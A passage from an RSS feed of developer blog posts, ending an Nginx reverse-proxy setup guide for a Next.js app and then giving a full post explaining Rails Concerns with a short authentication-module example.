        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header
     }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Be sure to replace example.com and &lt;a href="http://www.example.com" rel="noopener noreferrer"&gt;www.example.com&lt;/a&gt; with your own domain name. The root directive should point to the public directory of your Next.js app.&lt;/p&gt;

&lt;p&gt;Once you have created the server block configuration file, you will need to enable it by creating a symbolic link from the sites-available directory to the sites-enabled directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo ln -s /etc/nginx/sites-available/nextjs-app.conf /etc/nginx/sites-enabled/

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, restart Nginx to apply the changes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo systemctl restart nginx

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By now your web app should be up and running. Thank you for reading&lt;/p&gt;

</description>
      <category>discuss</category>
    </item>
    <item>
      <title>Rails "Concerns"</title>
      <dc:creator>Michael Oladele</dc:creator>
      <pubDate>Sun, 12 Feb 2023 15:58:06 +0000</pubDate>
      <link>https://forem.com/micheaol/rails-concerns-45id</link>
      <guid>https://forem.com/micheaol/rails-concerns-45id</guid>
      <description>&lt;p&gt;Rails Concerns: An Effective Solution to Code Reusability in Ruby on Rails&lt;/p&gt;

&lt;p&gt;Ruby on Rails is a popular web framework that has been widely used to build various types of web applications. One of its core principles I really appreciate working with ROR is DRY (Don't Repeat Yourself) which encourages developers to write code in a way that is modular and reusable. A Rails concern is a design pattern that helps developers achieve this goal. In this article, we will discuss what Rails concerns are, how to use them, and why they are an effective solution to code reusability.&lt;/p&gt;

&lt;p&gt;What are Rails Concerns?&lt;/p&gt;

&lt;p&gt;A Rails concern is a module that contains methods and behaviors that are common to several controllers, models or views. These methods and behaviors can be reused across different parts of your application, reducing the amount of code you need to write and making it easier to maintain.&lt;/p&gt;

&lt;p&gt;How to Use Rails Concerns?&lt;/p&gt;

&lt;p&gt;To create a Rails concern, you need to create a new module in the "app/concerns" directory and include it in the controller, model or view where it will be used. For example, let's say you have a user authentication system in your application and you want to reuse the code in multiple controllers. You can create a new module called "Authentication" and put the authentication code in this module. Then, you can include this module in all the controllers where you want to use the authentication code.&lt;/p&gt;

&lt;p&gt;module Authentication&lt;br&gt;
extend ActiveSupport::Concern&lt;/p&gt;

&lt;p&gt;included do&lt;br&gt;
before_action :authenticate_user!&lt;br&gt;
end&lt;/p&gt;

&lt;p&gt;def authenticate_user!&lt;/p&gt;

&lt;h2&gt;
  
  
  Authentication logic
&lt;/h2&gt;

&lt;p&gt;end&lt;br&gt;
end&lt;/p&gt;

&lt;p&gt;class ApplicationController &amp;lt; ActionController::Base&lt;br&gt;
include Authentication&lt;br&gt;
end&lt;/p&gt;

&lt;p&gt;In this example, the "Authentication" module is included in the ApplicationController, and the "authenticate_user!" method will be called before every action in the ApplicationController.&lt;/p&gt;

&lt;p&gt;Why use Rails Concerns?&lt;/p&gt;

&lt;p&gt;Code Reusability: Rails concerns allow developers to reuse code across multiple parts of their applications, reducing the amount of code they need to write and making it easier to maintain.&lt;/p&gt;

&lt;p&gt;Modular Design: Rails concerns help you keep your code organized and modular. By breaking down your code into smaller, more manageable chunks, you can make changes to one part of your application without affecting the rest.&lt;/p&gt;

&lt;p&gt;Better Code Readability: Rails concerns make your code easier to read and understand by encapsulating related functionality in a single module. This makes it easier for other developers to understand how your code works and make changes to it if necessary.&lt;/p&gt;

&lt;p&gt;Improved Testability: Rails concerns make your code easier to test by allowing you to test each module separately. This makes it easier to write tests for individual parts of your application and helps you catch bugs earlier in the development process.&lt;/p&gt;

&lt;p&gt;In conclusion, Rails concerns are an effective solution to code reusability in Ruby on Rails. They help developers write code that is modular, reusable, and easy to maintain. Whether you're working on a small or large project, Rails concerns can help you write better, cleaner, and more maintainable code.&lt;/p&gt;

</description>
      <category>vibecoding</category>
    </item>
  </channel>
</rss>
